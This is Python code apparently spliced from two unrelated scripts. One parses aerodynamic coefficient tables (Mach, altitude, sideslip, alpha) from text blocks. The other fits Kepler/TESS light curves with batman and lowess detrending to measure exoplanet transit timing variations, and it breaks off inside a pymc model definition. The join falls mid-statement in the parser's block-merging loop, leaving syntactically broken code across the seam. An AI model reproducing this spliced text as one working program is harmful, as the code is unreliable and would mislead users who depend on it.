blocks;\n\n''' This function is intended to retrieve all the starting values\nof each block parsed by block_split()'''\n\ndef get_data(blocks):\n pattern1 = re.compile(r' *\\bMACH NO\\b *= * (-*[\\d]+.[\\d]*)');\n pattern2 = re.compile(r' *\\bALTITUDE\\b *= * (-*[\\d]+.[\\d]*)');\n pattern3 = re.compile(r' *\\bSIDESLIP\\b *= * (-*[\\d]+.[\\d]*)');\n pattern4 = re.compile(r' *\\bMOMENT CENTER\\b *= * (-*[\\d]+.[\\d]*)')\n\n\n machs=[];\n alts=[];\n sslips=[];\n mcenter=[];\n \n for block in blocks:\n machs.append(float(pattern1.search(block).group(1)));\n alts.append(float(pattern2.search(block).group(1)));\n sslips.append(float(pattern3.search(block).group(1)));\n mcenter.append(float(pattern4.search(block).group(1)));\n \n return (n.asarray(machs), n.asarray(alts), n.asarray(sslips),\n n.asarray(mcenter));\n \n''' This small function replace all the bad character in a list of strings\nwith a _ and a '' (last character) '''\n\ndef replaceBadChars(listofStrings):\n list = [];\n pattern = re.compile(r'[./\\-]');\n \n for name in listofStrings:\n list.append(pattern.sub('_',name[0:len(name)-1])+\n pattern.sub('',name[len(name)-1]));\n \n return list;\n\n''' This function strip the whitespaces among coefficients name and\nreturns a list with the name of the coefficients for each block '''\n\ndef get_coeffs_name(blocks):\n cnames = [];\n pattern = re.compile(r' *\\bALPHA\\b *([\\w -/]*)');\n\n\n for block in blocks:\n cnames.append(pattern.findall(block));\n \n cnames_ok = [];\n\n #Loop for stripping middle whitespaces\n for cname in cnames:\n ''' If coefficient are written in two lines i have for single cname a list object. I join the multiple list in one\n then i strip the extra whitespaces'''\n if len(cname)>1:\n dummy=' '.join(cname);\n dummy = dummy.split();\n dummy = replaceBadChars(dummy);\n cnames_ok.append(dummy);\n else:\n for c in cname:\n dummy = c.split();\n dummy = replaceBadChars(dummy);\n cnames_ok.append(dummy);\n\n return cnames_ok;\n''' This function loop over the blocks and returns all the data in a \nlist\n---- OUTPUT \n- raw_data: the output tuple with all the cofficients\n- alpha: the AoA values\n'''\ndef get_rawdata(blocks):\n #All the numbers or dashes followed by a number;\n pattern = re.compile('[-\\d](?=[\\d\\.])')\n pattern2 = re.compile(r'\\n\\t?')\n\n raw_data = []\n \n for block in blocks:\n # Splitting the block in lines\n lines = pattern2.split(block);\n new_1 = [];\n \n #Looping over the lines,\n # if they match the pattern\n # i get the values\n for line in lines:\n line = line.strip();\n \n if pattern.match(line):\n new_2=[];\n service_list = line.split();\n \n for num in service_list:\n new_2.append(float(num));\n new_1.append(new_2);\n \n #END FOR SERVICE_LIST\n #ENDIF\n #ENDFOR LINE\n \n # Dividing the alphas value from \n # the coefficients value;\n alpha = [];\n new_1_1 = [];\n for row in new_1:\n alpha.append(row[0]);\n new_1_1.append(row[1:len(new_1)]);\n size = len(new_1_1[0]);\n new_1 = new_1_1;\n \n \n # Checking if the current block has\n # two tables\n \n \n i=0;\n for row in new_1_1:\n if not(len(row)==size):\n break;\n i = i+1;\n \n # If it has \"i\" less than the length \n # of the array new_1_1 I have to merge the rows\n # of the first block with the second\n if i int_start) & (time< int_end))\n \n int_time = time[idx]\n int_flux = flux[idx]\n \n t0i_list = np.arange(initial_t0is[n]-search_width,initial_t0is[n]+search_width,step_size)\n \n# chi_sq_list = [] \n \n for i in range(len(t0i_list)):\n params.t0 = t0i_list[i] #time of inferior conjunction\n \n m = batman.TransitModel(params, int_time)\n calc_flux = m.light_curve(params) \n \n chi_sq = scipy.stats.chisquare(int_flux, f_exp=calc_flux)\n # chi_sq_list.append((chi_sq[0],params.t0))\n \n # plt.figure()\n # plt.scatter(int_time, int_flux, c='k', s=2)\n # plt.plot(int_time, calc_flux)\n # txt = \"Chi-sq = {}; p-value = {}\".format(chi_sq[0], chi_sq[1])\n # plt.annotate(\n # txt,\n # (0, 0),\n # xycoords=\"axes fraction\",\n # xytext=(5, 5),\n # textcoords=\"offset points\",\n # ha=\"left\",\n # va=\"bottom\",\n # fontsize=12,\n # )\n if chi_sq[0] < final_t0i_cs[n]:\n final_t0is[n] = params.t0\n final_t0i_cs[n] = chi_sq[0]\n print('Number of transits analysed (round {}) = {}'.format(run_number,num_transits_done))\n num_transits_done += 1\n \n final_t0is = np.array(final_t0is)\n initial_t0is = np.array(initial_t0is)\n \n o_c = final_t0is - initial_t0is\n\n return final_t0is, o_c\n\n#Psudo-code:\n# Pull in random light-curve of system with known planet\n# Detrend out of transit effects - probably with Wotan, polynomial or long-window lowess\n# -> Possibly do this transit by transit like previous papers?\n# Access priors for planetary system, most importantly period and ephemeris\n# Build initial batman light-curve from this (or from stacked one)\n# Fitting each individual transit, using either of:\n# - Move along light-curve bit by bit according to known period and ephemeris\n# - Cut lightcurve section about one duration either side of each transit and fit each of these\n# -> allow only transit time to vary...\n# Note down observed (lowest chi-squared over a range of times) value for each transit\n# Conctruct O-C diagram by comparing observed ones from last step to original from archival period/ephermeris\n# Use O-C ones to create stacked model, model with exoplanet (or similar?) and redo TTV analysis with \n# Iterate if necessary, rebuilding new model (esp. for those with largest TTVs)\n\n# Idea: could use find-peaks function as first guess to get well-folded one\nstart = timing.time()\n############################## PART 0: Setup ##################################\n# lc parameters\nsave_path = '/Users/mbattley/Documents/PhD/Kepler-2min xmatch/'\ntarget_ID = 'TIC 417676622' # Kepler 25 test-case: 'TIC 120960812' #TIC number\nKepler_name = 'Kepler-68'\nplanet_letter = 'b'\nTIC = int(target_ID[4:])\nsector = 14\nmulti_sector = False\nplanet_data = Table.read(save_path + 'Kepler_planets_reobserved_in_TESS_2min.csv', format='ascii.csv')\n#planet_data = Table.read(save_path + 'Kepler_pcs_reobserved_in_TESS_2min_final.csv', format='ascii.csv')\n\n#target_ID_list = np.array(pc_data['TICID'])\ni = list(planet_data['TICID']).index(int(target_ID[3:]))\ninstrument = 'both'\nplanet_letters = ['b','c','d','e','f','g','h']\nmethod = 'auto' #Can be 'array, 'auto' or 'manual'\npc = False\ntransit_mask =False\ntransit_mask_TESS = False\ntransit_cut = False\nuser_defined_masking = True\ndetrending = 'lowess_full'\nlarge_TTV = False\nsmall_TTV = False\nno_TTV = True\nif planet_letter == 'b':\n planet_num = 0\nelif planet_letter == 'c':\n planet_num = 1\nelif planet_letter == 'd':\n planet_num = 2\n#\n##################### PART 1: Downloading/Opening Light-curves ##################\n#TESS 2min\n#if (planet_data['S14'][i] != 0) and (planet_data['S15'][i] != 0) and (planet_data['S26'][i] != 0):\n# multi_sector = [14,15,26]\n## if (planet_data['S26'][i] != 0):\n## multi_sector = [14,15]\n#elif (planet_data['S14'][i] != 0) and (planet_data['S15'][i] != 0):\n# multi_sector = [14,15]\n#elif (planet_data['S14'][i] != 0) and (planet_data['S26'][i] != 0):\n# multi_sector = [14,26]\n#\n##multi_sector = False\n#if multi_sector != False:\n# sap_lc, pdcsap_lc = two_min_lc_download(TIC, sector = multi_sector[0], from_file = False)\n# lc = pdcsap_lc\n# nancut = np.isnan(lc.flux) | np.isnan(lc.time)\n# lc = lc[~nancut]\n# for sector_num in multi_sector[1:]:\n# sap_lc_new, pdcsap_lc_new = two_min_lc_download(TIC, sector_num, from_file = False)\n# lc_new = pdcsap_lc_new\n# nancut = np.isnan(lc_new.flux) | np.isnan(lc_new.time)\n# lc_new = lc_new[~nancut]\n# lc = lc.append(lc_new)\n#else:\n## sap_lc, pdcsap_lc = two_min_lc_download(target_ID, sector = sector, from_file = False)\n# lcf = search_lightcurvefile(target_ID, sector=sector).download()\n# pdcsap_lc = lcf.PDCSAP_FLUX\n# header_0 = lcf\n# lc = pdcsap_lc\n# nancut = np.isnan(lc.flux) | np.isnan(lc.time)\n# lc = lc[~nancut]\n# print('Removed nans')\n#time_TESS = np.array(lc.time) #n.b. in TJD (TESS Time)\n#time_TESS_orig = np.array([float(str(element).strip()) for element in time_TESS]) + 2457000 #Convert to BJD for consistency\n#flux_TESS = lc.flux\n#flux_TESS_orig = np.array(flux_TESS)/np.median(flux_TESS) -1 #Normalizes and sets mean to zero, as in exoplanet tutorial\n#flux_err_TESS = lc.flux_err/np.median(flux_TESS)\n#mean_flux_err_TESS = np.mean(flux_err_TESS)\n#\n## Kepler\n##KIC = planet_data['KIC'][i]\n#KIC = planet_data['kepid'][i]\n#lcfs = lightkurve.search_lightcurvefile(KIC, mission='Kepler').download_all()\n#stitched_lc = lcfs.PDCSAP_FLUX.stitch()\n##stitched_lc = lcfs.PDCSAP_FLUX.stitch(corrector_func=my_custom_corrector_func)\n#nancut = np.isnan(stitched_lc.flux) | np.isnan(stitched_lc.time)\n#stitched_lc = stitched_lc[~nancut]\n#time_Kepler = np.array(stitched_lc.time) + 2454833 #Convert to BJD for consistency\n#flux_Kepler = np.array(stitched_lc.flux)/np.median(stitched_lc.flux) -1\n#binned_Kepler_time, binned_Kepler_flux = binned(time_Kepler,flux_Kepler,binsize=2)\n#yerr = stitched_lc.flux_err\n#\n#if instrument == 'TESS':\n# time_TESS = time_TESS_orig\n# flux_TESS = flux_TESS_orig\n#elif instrument == 'Kepler':\n# time_TESS = time_Kepler\n# flux_TESS = flux_Kepler\n#elif instrument == 'both':\n# time_TESS = np.append(time_Kepler,time_TESS_orig)\n# flux_TESS = np.append(flux_Kepler,flux_TESS_orig)\n##\n#kep_flux_err = np.mean(stitched_lc.flux_err)\n#kepler_data = {'time_combined':time_TESS, 'flux_combined':flux_TESS, 'time_TESS':time_TESS_orig, 'flux_TESS':flux_TESS_orig, 'time_Kepler':time_Kepler, 'flux_Kepler':flux_Kepler, 'flux_err':kep_flux_err, 'flux_err_TESS':mean_flux_err_TESS }\n#with open(Kepler_name + '_data.pkl', 'wb') as f:\n# pickle.dump(kepler_data,f) \n\nwith open(Kepler_name + '_data.pkl', 'rb') as f:\n kepler_data_reopened = pickle.load(f)\n time = kepler_data_reopened['time_combined'] \n flux = kepler_data_reopened['flux_combined'] +1\n time_TESS = kepler_data_reopened['time_TESS'] \n flux_TESS = kepler_data_reopened['flux_TESS'] +1\n time_Kepler = kepler_data_reopened['time_Kepler']\n flux_Kepler = kepler_data_reopened['flux_Kepler'] +1\n flux_err = kepler_data_reopened['flux_err']\n mean_flux_err_TESS = kepler_data_reopened['flux_err_TESS']\n\ntime = time_Kepler - 2454833\nflux = flux_Kepler\nflux_err = 2.0e-4\n\nplt.figure() \nplt.scatter(time,flux, c='k', s=1)\nplt.xlabel(\"Time [BJD - 2454833]\")\nplt.ylabel(\"Normalized Flux [ppt]\")\nplt.show()\n\n#plt.figure()\n#plt.scatter(time,flux, c='k', s=1)\n#plt.xlabel(\"Time [BJD]\")\n#plt.ylabel(\"Normalized Flux [ppt]\")\n#plt.show()\n\n##################### PART 1b: Planet Parameters ############################\ntexp_TESS = 120 # Kepler (60s)/TESS (120s) exposure time (s)\ntexp_TESS /= 60.0 * 60.0 * 24.0 \t # converting exposure time to days (important!!!!!!)\ntexp_Kepler = 30*60\ntexp_Kepler /= 60.0 * 60.0 * 24.0 \n\nif method == 'manual':\n periodi_b = 6.238297 #From exoplanet archive - make automatic later\n periodi_c = 12.7207 #P in days\n periodi_sd_b = 1.70E-05\n periodi_sd_c = 1.10E-04\n \n t0i_b = 2455703.42\t\t\t# ephemeris from Exoplanet Archive\n t0i_c = 2455711.15 # BJD. n.b. use - 2454833 for Kepler time/ - 2457000 for TESS\n t0i_sd_b = 0.5\t\t\t\t\t # stand. dev on the t0\n t0i_sd_c = 0.5\n \n radi_b = 0.245*const.R_jup.value/const.R_sun.value # Planet radius in solar radii\n radi_c = 0.465*const.R_jup.value/const.R_sun.value\n \n M_star = 1.19, 0.06\t\t# mass, uncertainty (solar masses)\n R_star = 1.31, 0.02\t # radius, uncertainty (solar radii)\nelif pc == True:\n num_planets =0\n planet_params = Table(names=('periodi','periodi_sd','t0i','t0i_sd','t0i_sd_real','radi','a','incl','ecc','eccs_sd'))\n for j in range(len(planet_data['TICID'])):\n if planet_data['TICID'][j] == TIC:\n periodi = planet_data['koi_period'][j]\n period_sd = planet_data['koi_period_err1'][j]\n t0i = planet_data['koi_time0'][j]\n t0i_sd_real = planet_data['koi_time0_err1'][j]\n t0i_sd = 0.1\n M_star = planet_data['koi_smass'][j],planet_data['koi_smass_err1'][j]\n # Gets updated R_star based on DR2 (Berger+16) if available, otherwise falls back to exo archive\n if ma.is_masked(planet_data['R*'][j]) == False:\n# R_star = planet_data['R*'][j], planet_data['E_R*_2'][j]\n R_star = planet_data['koi_srad'][j], planet_data['koi_srad_err1'][j]\n else:\n R_star = planet_data['koi_srad'][j], planet_data['koi_srad_err1'][j]\n radi = planet_data['koi_ror'][j]*R_star[0] # In solar radii\n a = (((const.G.value*M_star[0]*const.M_sun.value*(periodi*86400.)**2)/(4.*(np.pi**2)))**(1./3))/(1.495978707e11) # in AU\n if ma.is_masked(planet_data['koi_incl'][j]) == False:\n# incl = 83.6\n incl = planet_data['koi_incl'][j]\n if incl > 90:\n ea_incl = incl\n incl = 90-(ea_incl - 90)\n# incl = 87.5\n else:\n incl = 90\n if ma.is_masked(planet_data['koi_eccen'][j]) == False:\n ecc = planet_data['koi_eccen'][j]\n ecc_sd = 0.01\n else: \n ecc = 0.0\n ecc_sd = 0.01\n planet_params.add_row((periodi, period_sd, t0i, t0i_sd, t0i_sd_real, radi, a, incl, ecc, ecc_sd))\n num_planets += 1\nelse:\n num_planets =0\n incl = 87.0\n ecc = 0\n planet_params = Table(names=('periodi','periodi_sd','t0i','t0i_sd','t0i_sd_real','radi','a','incl','ecc','eccs_sd'))\n for j in range(len(planet_data['TICID'])):\n if planet_data['TICID'][j] == TIC and planet_data['pl_discmethod'][j] == 'Transit':\n if ma.is_masked(planet_data['Per'][j]) == False:\n periodi = planet_data['Per'][j]\n period_sd = planet_data['e_Per'][j]\n t0i = planet_data['T0'][j]\n t0i_sd_real = planet_data['pl_tranmiderr1'][j]\n else:\n periodi = planet_data['pl_orbper'][j]\n period_sd = planet_data['pl_orbpererr1'][j]\n t0i = planet_data['pl_tranmid'][j]\n t0i_sd_real = planet_data['pl_tranmiderr1'][j]\n t0i_sd = 0.1\n# if planet_num == 1:\n# t0i_sd = 0.05\n if ma.is_masked(planet_data['Rp'][j]) == False:\n radi = planet_data['Rp'][j]*const.R_earth.value/const.R_sun.value # In solar radii\n else:\n radi = planet_data['pl_radj'][j]*const.R_jup.value/const.R_sun.value # In solar radii\n #n.b. if getting it from revised info convert from Earth radii to jupiter radii\n M_star = planet_data['st_mass'][j],planet_data['st_masserr1'][j]\n # Gets updated R_star based on DR2 (Berger+16) if available, otherwise falls back to exo archive\n if ma.is_masked(planet_data['R*'][j]) == False:\n R_star = planet_data['R*'][j], planet_data['E_R*_2'][j]\n else:\n R_star = planet_data['st_rad'][j], planet_data['st_raderr1'][j]\n if ma.is_masked(planet_data['pl_orbsmax'][j]) == False:\n a = planet_data['pl_orbsmax'][j] #in AU\n else:\n a = (((const.G.value*M_star[0]*const.M_sun.value*(periodi*86400.)**2)/(4.*(np.pi**2)))**(1./3))/(1.495978707e11) # in AU\n if ma.is_masked(planet_data['pl_orbincl'][j]) == False:\n# incl = 89\n incl = planet_data['pl_orbincl'][j]\n if incl > 90:\n ea_incl = incl\n incl = 90-(ea_incl - 90)\n# incl = 87.5\n else:\n incl = 90\n if ma.is_masked(planet_data['pl_orbeccen'][j]) == False:\n ecc = planet_data['pl_orbeccen'][j]\n ecc_sd = planet_data['pl_orbeccenerr1'][j]\n else: \n ecc = 0.0\n ecc_sd = 0.01\n planet_params.add_row((periodi, period_sd, t0i, t0i_sd, t0i_sd_real, radi, a, incl, ecc, ecc_sd))\n num_planets += 1\nperiods = np.array(planet_params['periodi'])\nperiod_sds = np.array(planet_params['periodi_sd'])\nt0is = np.array(planet_params['t0i'])\nt0i_sds = np.array(planet_params['t0i_sd'])\nt0i_sds_real = np.array(planet_params['t0i_sd_real'])\nradii = np.array(planet_params['radi'])\na_array = np.array(planet_params['a'])\nincls = np.array(planet_params['incl'])\neccs = np.array(planet_params['ecc'])\necc_sds = np.array(planet_params['eccs_sd'])\n\n# Calculate theoretical transit duration:\n#b = a*np.cos(incl)/R_star[0]# Calculate impact parameter\n#T_dur = (periods[planet_num]/np.pi)*np.arcsin(np.sqrt((R_star[0]+radii[planet_num])**2-(b*R_star[0])**2)/a)\n\n#################### PART 2: Detrending lightcurve ###########################\n##### Transit-masking stuff\n#transit_mask=False\nif transit_mask == True:\n period = periods[planet_num]\n epoch = t0is[planet_num]\n duration = 0.1 #Or: use calculated duration x 2-4\n phase = np.mod(time_Kepler-epoch-period/2,period)/period\n \n near_transit = [False]*len(flux_Kepler)\n \n for i in range(len(time_Kepler)):\n if abs(phase[i] - 0.5) < duration/period:\n near_transit[i] = True\n \n near_transit = np.array(near_transit)\n \n t_masked = time_Kepler[~near_transit]\n flux_masked = flux_Kepler[~near_transit]\n# flux_err_masked = flux_err_cut[~near_transit]\n t_new = time_Kepler[near_transit]\n pipeline = 'Kepler'\n if pipeline == 'Kepler':\n f = interpolate.interp1d(t_masked,flux_masked, kind = 'slinear')\n else:\n f = interpolate.interp1d(t_masked,flux_masked, kind = 'quadratic')\n# f = interpolate.BarycentricInterpolator(t_masked,flux_masked)\n\n flux_new = f(t_new)\n interpolated_fig = plt.figure()\n plt.scatter(t_masked, flux_masked, s = 2, c = 'k')\n# plt.scatter(time_Kepler, flux_Kepler, s = 8, c = 'k')\n plt.scatter(t_new,flux_new, s=8, c = 'r')\n plt.xlabel('Time - 2457000 [BTJD days]')\n plt.ylabel('Relative flux')\n# interpolated_fig.savefig(save_path + \"{} - Interpolated over transit mask fig.png\".format(target_ID))\n \n t_transit_mask = np.concatenate((t_masked,t_new), axis = None)\n flux_transit_mask = np.concatenate((flux_masked,flux_new), axis = None)\n \n sorted_order = np.argsort(t_transit_mask)\n t_transit_mask = t_transit_mask[sorted_order]\n flux_transit_mask = flux_transit_mask[sorted_order]\n\n\nif detrending == 'lowess_full':\n #t_cut = lc_30min.time\n #flux_cut = combined_flux\n full_lowess_flux = np.array([])\n if transit_mask == True:\n lowess = sm.nonparametric.lowess(flux_transit_mask, t_transit_mask, frac=48/len(time_Kepler))\n else:\n lowess = sm.nonparametric.lowess(flux, time, frac=48/len(time_Kepler))\n \n overplotted_lowess_full_fig = plt.figure()\n plt.scatter(time_Kepler,flux_Kepler, c = 'k', s = 2)\n# plt.plot(lowess[:, 0], lowess[:, 1])\n plt.plot(time_Kepler, lowess[:, 1])\n plt.title('{} lc with overplotted lowess full lc detrending'.format(Kepler_name))\n plt.xlabel('Time [BJD]')\n plt.ylabel('Relative flux')\n #overplotted_lowess_full_fig.savefig(save_path + \"{} lc with overplotted LOWESS full lc detrending.png\".format(target_ID))\n plt.show()\n# plt.close(overplotted_lowess_full_fig)\n \n residual_flux_lowess = flux_Kepler/lowess[:,1]\n full_lowess_flux = np.concatenate((full_lowess_flux,lowess[:,1]))\n \n lowess_full_residuals_fig = plt.figure()\n plt.scatter(time_Kepler,residual_flux_lowess, c = 'k', s = 2)\n plt.title('{} lc after lowess full lc detrending'.format(Kepler_name))\n plt.xlabel('Time [BJD]')\n plt.ylabel('Relative flux')\n ax = plt.gca()\n #ax.axvline(params.t0+lc_30min.time[index], ymin = 0.1, ymax = 0.2, lw=1, c = 'r')\n #ax.axvline(params.t0+params.per+lc_30min.time[index], ymin = 0.1, ymax = 0.2, lw=1, c = 'r')\n #ax.axvline(params.t0+2*params.per+lc_30min.time[index], ymin = 0.1, ymax = 0.2, lw=1, c = 'r')\n #ax.axvline(params.t0-params.per+lc_30min.time[index], ymin = 0.1, ymax = 0.2, lw=1, c = 'r')\n# lowess_full_residuals_fig.savefig(save_path + \"{} lc after LOWESS full lc detrending.png\".format(target_ID))\n plt.show()\n \nflux_Kepler = residual_flux_lowess\n\n############### PART 2b: Masking other planets and plotting phase ##############\n#\n## Planet masking\n#transit_mask = False\nif transit_cut == True:\n if user_defined_masking == True:\n planets_to_mask = [1]\n durations = [0.2,0.2,0.5]\n# durations = [0.25,0.25,0.25]\n elif planet_letter == 'b':\n planets_to_mask = 1\n elif planet_letter == 'c':\n planets_to_mask = 0 #n.b. define planet letter by number - b=0; c=1 etc\n for planet_to_mask in planets_to_mask:\n period = periods[planet_to_mask]\n epoch = t0is[planet_to_mask]\n duration = durations[planet_to_mask] #Adjust accordingly\n time_Kepler, flux_Kepler = mask_planet(time_Kepler,flux_Kepler,epoch,period,duration,Kepler_name,planet_letters[planet_to_mask])\n time_Kepler_masked = time_Kepler\n flux_Kepler_masked = flux_Kepler\n# phase = np.mod(time_Kepler-epoch-period/2,period)/period\n# \n# plt.figure()\n# plt.scatter(phase, flux_Kepler, c= 'k', s=2)\n# plt.title('{} data folded by planet {} period'.format(Kepler_name, planet_letters[planet_to_mask]))\n# \n# near_transit = [False]*len(flux_Kepler)\n# \n# for i in range(len(time_Kepler)):\n# if abs(phase[i] - 0.5) < duration/period:\n# near_transit[i] = True\n# \n# near_transit = np.array(near_transit)\n# \n# time_Kepler_masked = time_Kepler[~near_transit]\n# flux_Kepler_masked = flux_Kepler[~near_transit]\n# \n# plt.figure()\n# plt.scatter(time_Kepler_masked, flux_Kepler_masked, c='k', s=2)\n# plt.title('Kepler data after planet {} masked'.format(planet_letters[planet_to_mask]))\nelse:\n time_Kepler_masked = time_Kepler\n flux_Kepler_masked = flux_Kepler\n\n# Phase folding\n\nfig = plt.figure()\n#fig, axes = plt.subplots(planet_num, 1, figsize=(8, 10), sharex=False)\n \n#plt.title('{}'.format(Kepler_name))\n\t\n# setting up the phase fold data\n# n.b. these need changing so that they use the fully detrended versions, e.g. flux_TESS{something:end}\n#phases_b = np.mod(time - t0is[0]-periods[0]/2, periods[0])/periods[0]\n#phases_b_TESS = np.mod(time_TESS - t0is[0]-periods[0]/2, periods[0])/periods[0]\nphases_c_Kepler = np.mod(time_Kepler_masked - t0is[planet_num]-periods[planet_num]/2, periods[planet_num])/periods[planet_num]\n#arg_b = np.argsort(phases_b)\n#gp_mod = soln[\"gp_pred\"] + soln[\"mean\"]\n\t\n# phase fold for planet\n\nax = plt.gca()\nplt.title('{} folded by planet {} period'.format(Kepler_name,planet_letters[planet_num]))\n#ax.scatter(phases_b_TESS, flux_TESS, c='k', s=1, label=\"TESS Data\")\nax.scatter(phases_c_Kepler, flux_Kepler_masked, c='darkgrey', s=1, label=\"Kepler De-trended Data\")\n#mod_b = soln[\"light_curves_b\"]\n# ax.plot(phases_b[mask][arg_b], mod_b[arg_b]+0.005, color='orange', label=\"Planet b Model\")\n#ax.plot(phases_b[mask][arg_b], mod_b[arg_b], color='orange', label=\"Planet b Model\")\nax.legend(fontsize=12)\nax.set_ylabel(\"De-trended Flux [ppt]\")\nax.set_xlabel(\"Phase\")\nax.set_xlim(0, 1)\ntxt = \"Planet {} Period = {:.3f}\".format(planet_letters[planet_num],periods[planet_num])\nax.annotate(\n txt,\n (0, 0),\n xycoords=\"axes fraction\",\n xytext=(5, 5),\n textcoords=\"offset points\",\n ha=\"left\",\n va=\"bottom\",\n fontsize=12,\n)\n##################### PART 3: Build Model with batman #################\n\n# Could frist split them up into parts and use 'find min'-like function as a first guess\n#troughs, trough_info = find_peaks(-flux_Kepler_masked, prominence = -0.001, width = 20)\n\nparams = batman.TransitParams()\nparams.t0 = t0is[planet_num] #time of inferior conjunction\nparams.per = periods[planet_num] #orbital period\nparams.rp = radii[planet_num]/R_star[0] #planet radius (in units of stellar radii)\nparams.a = a_array[planet_num]/(0.00465047*R_star[0]) #semi-major axis (in units of stellar radii)\nparams.inc = incls[planet_num] #orbital inclination (in degrees)\nparams.ecc = eccs[planet_num] #eccentricity\nparams.w = 0.0 #longitude of periastron (in degrees)\nparams.limb_dark = \"nonlinear\" #limb darkening model\nparams.u = [0.5, 0.1, 0.1, -0.1] #limb darkening coefficients [u1, u2, u3, u4]\n\nt = time_Kepler_masked #times at which to calculate light curve\nm = batman.TransitModel(params, t)\nflux = m.light_curve(params) \n\nplt.figure()\nplt.scatter(time_Kepler_masked, flux_Kepler_masked, c='k', s=1, label=\"Kepler De-trended Data\")\nplt.plot(time_Kepler_masked,flux)\nplt.title('{} with overplotted initial batman model'.format(Kepler_name))\n#plt.plot(time_Kepler_masked[troughs], flux_Kepler_masked[troughs], \"x\", c = 'r')\n\n\n## Calculate theoretical transit duration... Or simply read off model/data\n\n############### PART 4: Minimize chi-squared in vicinity of each transit #########\n#\n## Define segments... T0 + n*period (+/- enough to catch)\n#\n## 1st run - wide:\n#\n#Work out number of transits\ncurrent_t0 = params.t0\ninitial_t0is = []\n\n# Added to make sure it goes right back to start of data\nwhile current_t0 - periods[planet_num] > time_Kepler[0]:\n current_t0 = current_t0 - periods[planet_num]\n\nwhile current_t0 < time_Kepler[-1]:\n initial_t0is = initial_t0is + [current_t0]\n current_t0 = current_t0 + periods[planet_num]\n\nn_list = range(len(initial_t0is))\nt0is[planet_num] = initial_t0is[0]\n#\nfinal_t0is = [1]*len(n_list)\nfinal_t0i_cs = [1]*len(n_list)\n#\nnum_transits_done = 0\n\nif large_TTV == True:\n search_width = 1\n step_size = 0.05\nif small_TTV == True:\n search_width = 0.2\n step_size=0.01\nelse:\n search_width = 0.5\n step_size = 0.01\n#\n##for n in n_list:\n## int_start = t0is[planet_num] + n*periods[planet_num] - 2\n## int_end = t0is[planet_num] + n*periods[planet_num] + 2\n## idx = np.where((time_Kepler_masked > int_start) & (time_Kepler_masked < int_end))\n## \n## int_time = time_Kepler_masked[idx]\n## int_flux = flux_Kepler_masked[idx]\n## \n## t0i_list = np.arange(t0is[planet_num]+n*periods[planet_num]-search_width, t0is[planet_num]+n*periods[planet_num]+search_width, step_size)\n## \n## chi_sq_list = []\n## test_t0is = [] \n## \n## for i in range(len(t0i_list)):\n## params.t0 = t0i_list[i]\n## \n## m = batman.TransitModel(params, int_time)\n## calc_flux = m.light_curve(params) \n## \n## chi_sq = scipy.stats.chisquare(int_flux, f_exp=calc_flux)\n### chi_sq_list.append((chi_sq[0],params.t0))\n## \n### plt.figure()\n### plt.scatter(int_time, int_flux, c='k', s=2)\n### plt.plot(int_time, calc_flux)\n### txt = \"Chi-sq = {}; p-value = {}\".format(chi_sq[0], chi_sq[1])\n### plt.annotate(\n### txt,\n### (0, 0),\n### xycoords=\"axes fraction\",\n### xytext=(5, 5),\n### textcoords=\"offset points\",\n### ha=\"left\",\n### va=\"bottom\",\n### fontsize=12,\n### )\n## if chi_sq[0] < final_t0i_cs[n]:\n## final_t0is[n] = params.t0\n## final_t0i_cs[n] = chi_sq[0]\n## print('Number of transits analysed = {}'.format(num_transits_done))\n## num_transits_done += 1\n####\nfinal_t0is = np.array(final_t0is)\ninitial_t0is = np.array(initial_t0is)\n####\n##with open(Kepler_name + ' {} wide_t0is.pkl'.format(planet_letter), 'wb') as f:\n## pickle.dump(final_t0is,f)\n###with open(Kepler_name + ' {} wide_t0is.pkl'.format(planet_letter), 'rb') as f:\n### final_t0is = pickle.load(f)\n###\n####o_c = final_t0is - initial_t0is\n###\n###Plot new fold\n##folded_fig = plt.figure()\n##for n in n_list:\n## int_start = final_t0is[n] - 2\n## int_end = final_t0is[n] + 2\n## idx = np.where((time_Kepler_masked > int_start) & (time_Kepler_masked < int_end))\n## \n## int_time = time_Kepler_masked[idx] - final_t0is[n]\n## int_flux = flux_Kepler_masked[idx] \n## plt.scatter(int_time, int_flux, s=1, c='k')\n##plt.title('Folded fig for {} {} - Iteration 1'.format(Kepler_name, planet_letter))\n##plt.xlabel('Time since transit [Days]')\n##plt.ylabel('Normalized Flux')\n##plt.savefig('{} {} - Iteration 1.png'.format(Kepler_name, planet_letter))\n##\n##\n### 2nd run: 1min step-size\n##final_t0is2, o_c2 = find_ttvs(final_t0is, periods[planet_num], time_Kepler_masked, flux_Kepler_masked, params, search_width=0.075, step_size=1/(24*60)) #1min step\n##\n##with open(Kepler_name + ' {} 1min_t0is.pkl'.format(planet_letter), 'wb') as f:\n## pickle.dump(final_t0is2,f)\n###with open(Kepler_name + ' {} 1min_t0is.pkl'.format(planet_letter), 'rb') as f:\n### final_t0is2 = pickle.load(f)\n##\n##o_c_final = final_t0is2 - initial_t0is\n###\n###Plot new fold\n##folded_fig2 = plt.figure()\n##linear_flux = np.array([])\n##linear_time = np.array([])\n##for n in n_list:\n## int_start = final_t0is2[n] - 2\n## int_end = final_t0is2[n] + 2\n## idx = np.where((time_Kepler_masked > int_start) & (time_Kepler_masked < int_end))\n## \n## int_time = time_Kepler_masked[idx] - final_t0is2[n]\n## int_flux = flux_Kepler_masked[idx] \n## plt.scatter(int_time, int_flux, s=1, c='k')\n## linear_flux = np.append(linear_flux,int_flux)\n## linear_time = np.append(linear_time,int_time+final_t0is2[n]-o_c_final[n])\n##plt.title('Folded fig for {} {} - Iteration 2'.format(Kepler_name, planet_letter))\n##plt.xlabel('Time since transit [Days]')\n##plt.ylabel('Normalized Flux')\n###\n##linear_fig = plt.figure()\n##phase = np.mod(linear_time-t0is[planet_num]-periods[planet_num]/2,periods[planet_num])/periods[planet_num]\n##plt.scatter(phase, linear_flux, c= 'k', s=2)\n##plt.title('{} {} data folded after linearisation'.format(Kepler_name, planet_letter))\n##plt.xlabel('Phase')\n##plt.ylabel('Normalized Flux')\n##\nif no_TTV == True:\n linear_time = time_Kepler_masked\n linear_flux = flux_Kepler_masked\n final_t0is2 = initial_t0is\n#\n############################ Model stacked transit #############################\n# \ndef build_model(mask=None, start=None, optimisation=True):\n if mask is None:\n mask = np.ones(len(time_TESS), dtype=bool)\n with pm.Model() as model:\n\n\t\t############################################################ \n\t\t\n ### Stellar parameters\n\n mean = pm.Normal(\"mean\", mu=1.0, sd=1.0)\t\t\t\t#mean = the baseline flux = 0 for the TESS data \n\t\t# you can define a new mean for each set of photometry, just to keep track of it all\n\t\t\n 